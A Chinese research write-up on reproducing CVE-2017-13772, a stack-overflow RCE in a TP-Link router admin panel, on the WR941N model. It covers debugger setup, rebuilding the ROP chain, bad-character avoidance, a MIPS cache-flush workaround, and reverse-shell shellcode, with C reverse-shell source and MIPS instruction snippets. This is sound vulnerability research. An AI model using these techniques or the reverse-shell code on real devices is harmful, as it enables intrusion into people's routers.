作者:Hcamael@知道創宇404實驗室

之前看到了一個CVE, CVE-2017-13772

是TP-Link WR940N后臺的RCE, 手頭上正好有一個TP-Link WR941N的設備,發現也存在相同的問題,但是CVE-2017-13772文章中給的EXP并不通用

所以準備進行復現和exp的修改,折騰了將近4天,記錄下過程和遇到的坑

第一次研究mips指令的RCE,之前只學了intel指令集的pwn,所以進度挺慢的

Day 1

第一天當然是配環境了,該路由器本身在默認情況下是不提供shell的,在@fenix幫助下獲取到了路由器的shell,該款路由器上的busybox的命令比較少,curl, nc, wget這些命令都沒有,只能用tftp進行數據傳輸,而且只有/tmp目錄可寫,路由器重啟后,傳上去的文件就沒了,這些問題都可以通過刷固件解決,不過太麻煩了,只需要傳上去一個gdbserver就好了,能根據固件中的bin得知這是一個大端mips指令集的設備,gdbserver也不用自己編譯,直接下編譯好的: https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver

gdbserver.mipsbe通過tftp上傳到路由器的/tmp目錄下

然后根據cve-2017-13772分析文章說的那樣使用gdbserver attach httpd最新的一個進程,然后就可以進行遠程gdb調試了

Day 2

第二天準備開始調試,但是發現gdb的兩個編譯選項, 一個--host,表示gdb運行的環境,一般默認就是本機環境,還有一個--target表示調試的目標環境,默認也是本機環境,所以一個64位ubuntu上默認的gdb只能調試64 elf程序。所以需要設置--target=mipsbel-linux參數進行編譯gdb,才能調試大端的mips程序。

編譯差不多編譯了半天,準備改天搞一個8核的機器專門來編譯程序....

編譯成功后,就可以進行遠程調試了,在路由器上執行:

> /tmp/gdbserver.mipsbe attach 0.0.0.0:12345 pid

然后使用編譯好gdb進行調試:

$ gdb
(gdb) target remote 192.168.1.1:12345

但是失敗了,又折騰了半天

Day 3

第三天才真正的開始調試程序,首先說說我第二天遇到的問題,問題是下了斷點沒用,原因比較傻逼,我下斷點的地址是wr940n的地址,我把兩個bin搞混了

然后根據cve-2017-13772分析文章中說的棧溢出的指令,在wr941n中也找到了該指令,而溢出情況也是一樣,所以拿了wr940n的exp來打了一遍,結果當然是失敗了。

在wr940n的exp中,ROP是在libuClibc-0.9.30.so中找的,根據$ cat /proc/pid/maps命令,發現wr941n路由器的基地址和文章中顯示的wr940n路由器的是一樣的,然后再比較libuClibc-0.9.30.so文件的hash值,發現不同,所以要修改ROP地址。

由于libc文件太大,用手找太累了,所以使用了那篇文章中的ida的mipsrop插件,這里又踩了一個坑,因為我用的是ida7.0,而這個插件只能在ida6.8(更低的沒試過)版本使用。

修改了ROP后,再進行嘗試exp,發現仍然失敗,然后進行調試查看原因,跟蹤ROP執行流,發現能成功跳轉到棧上執行shellcode,但是shellcode和文章中的,文章中的shellcode開頭有一個使用xor進行解密的過程,執行完之后的指令和文章中的不一樣。所以準備自己寫一個shellcode

Day 4

第四天就是開始寫shellcod,首先給個mips指令和bin互轉的網站:Online Assembler and Disassembler

然后說說寫的過程中遇到的問題,該路由器輸入是不接受\x00\x20,所以ROP不是在ELF中尋找而是去libc中尋找:libuClibc基地址:0x2aae000httpd基地址:0x00400000

如果在ELF中尋找ROP,則地址中總會有個\x00,所以ROP是在libc中尋找不存在\x00\x20的地址。但是在shellcode中,這兩個字符卻很難避免,所以那篇文章中對shellcode進行了xor加密

wr940n的exp使用的是一個bind shell的shellcode,而我改成了一個反彈shell的shellcode

然后就是最后遇到的一個大坑,使用gdb調試成功的一個反彈shell的shellcode,在實際測試中卻失敗了,使用gdb成功,直接打失敗,因為這個問題折騰了挺長的時間

然后查閱資料,在看雪的一篇文章中找到了原因:https://www.kanxue.com/article-read-218.htm?

mips 的 exp 編寫中還有一個問題就是 cache incoherency。MIPS CPUs 有兩個獨立的 cache:指令 cache 和數據 cache。指令和數據分別在兩個不同的緩存中。當緩存滿了,會觸發 flush,將數據寫回到主內存。攻擊者的攻擊 payload 通常會被應用當做數據來處理,存儲在數據緩存中。當 payload 觸發漏洞,劫持程序執行流程的時候,會去執行內存中的 shellcode。

如果數據緩存沒有觸發 flush 的話,shellcode 依然存儲在緩存中,而沒有寫入主內存。這會導致程序執行了本該存儲 shellcode 的地址處隨機的代碼,導致不可預知的后果。

最簡單可靠的讓緩存數據寫入內存的方式是調用一個堵塞函數。比如 sleep(1) 或者其他類似的函數。sleep 的過程中,處理器會切換上下文讓給其他正在執行的程序,緩存會自動執行 flush。

這個坑點在那篇文章中也提及了,但是沒具體說明,如果沒實際踩一踩,不一定能理解。但是講道理,如果直接用wr940n的exp,修改下ROP地址和shellcode,應該是不會遇到這個坑的,但是我仍然遇到了,經過研究發現,是usleep的問題,猜測是由于堵塞的時間過短所以未執行flush?然后進行實際測試了一番,把usleep的時間修改為18217,同樣沒用,然后簡單看了下兩者的匯編,發現usleep只是簡單的調用nanosleep,而sleep除了調用nanosleep還進行其他相關的操作,網上沒搜到相關文章,因為精力有限,作為遺留問題,以后有時間的時候再繼續研究。

不過有幾個猜測,

  1. 時間問題,usleep的單位是微秒,18217也只有10ms,是不是要睡到1s?因為找不到合適的ROP,所以暫時沒法證明
  2. flush內存是靠sleep中的幾個信號相關的函數?

所以最終我的做法是在wr940n的exp的ROP鏈中,調用的是usleep(0xc*2+1),但是我將usleep改成sleep => sleep(0xc*2+1),數據緩存被成功flush到主內存中,就能成功執行shellcode了

Shellcode編寫

在本次研究中,最后時間的除了一開始的調試環境搭建外,就是shellcode的編寫了,因為在那篇cve分析的文章中已經給出了wr940n的exp,ROP只需要修改修改地址就好了,所以工作量最大的還是在Shellcode的編寫這一部分

首先是syscall部分,比如:

li?$v0, 4183
syscall 0x40404
# sys_socket
  • mips采用的是RISC,32位系統下,指令固定采用4byte,syscall的字節碼是\x0c,剩余的三字節默認用\x00補全,但是因為路由器不接受\x00的輸入,所以在大端的情況下改成\x01\x01\x01\x0c,進行反匯編,就是syscall 0x40404

系統調用的相關函數除了幾個mips特有的,其他的都是跟linux下的syscall一樣,可參考: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h

比如sys_socket

#define __NR_Linux          4000
#define __NR_socket         (__NR_Linux + 183)

所以$v0=4183表示的就是socket函數,具體參數信息可以去參考linux的系統調用: http://asm.sourceforge.net/syscall.html

int sys_socket(int family, int type, int protocol)

現在,先用c來實現一遍反連shell的代碼:

$ cat test.c
#include<stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>

int main(void)
{
    int sockfd;
    sockfd = socket(2,2,0);
    struct sockaddr_in addr;
    addr.sin_family = 2;
    addr.sin_port = 0x3039;
    addr.sin_addr = 0xc0a80164;
    connect(sockfd, &addr, sizeof(addr))
    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2);
    execve("//bin/sh", 0, 0);
    return 0;
}

這里有個關鍵點,https://chromium.googlesource.com/chromiumos/third_party/glibc-ports/+/6cc02c7aaedec87cfb2d105f9682b12b2154e54f/sysdeps/unix/sysv/linux/mips/bits/socket.h

和其他架構不一樣,mips架構中,tcp是2,udp是1

所以上面的代碼比如在ubuntu中,是一個udp反連的代碼,但是在mips中就是tcp反連

還有一點就是wr941n是大端,所以12345端口是0x3039而不是0x3930,ip地址同理

然后把上面代碼轉換成mips指令的匯編

但是有個問題,之前說了該路由器不接收\x00\x20兩個字符,而上面的匯編轉換成字節碼:

nor     $a0,$t7,$zero   =>   "\x01\xe0\x20\x27"

所以要把這句指令進行修改, 因為$a0$a1的值都為2,所以可以這樣修改:

sw      $a1,-1($sp)  =>  "\xaf\xa5\xff\xff"
lw      $a0,-1($sp)  =>  "\x8f\xa4\xff\xff"

把上面的匯編轉成shellcode替換exp中的shellcode,實際測試,又發現一個問題,設備成功反連了控制端,但是卻不能執行命令,到路由器上用ps查看,發現sh已經變為僵尸進程

經研究,問題出在execve("/bin/sh",0,0),如果我修改成execve("/bin/sh", ["/bin/sh", 0], 0)則成功反彈shell,可以任意命令執行

參考鏈接

  1. https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/
  2. https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
  3. http://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=%5Cx3c%5Cx1c%5Cx2a%5Cxb3%5Cx37%5Cx9c%5Cx17%5Cxb0&arch=mips32&endianness=big#disassembly
  4. https://www.kanxue.com/article-read-218.htm
  5. https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h
  6. http://asm.sourceforge.net/syscall.html
  7. https://chromium.googlesource.com/chromiumos/third_party/glibc-ports/+/6cc02c7aaedec87cfb2d105f9682b12b2154e54f/sysdeps/unix/sysv/linux/mips/bits/socket.h

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/448/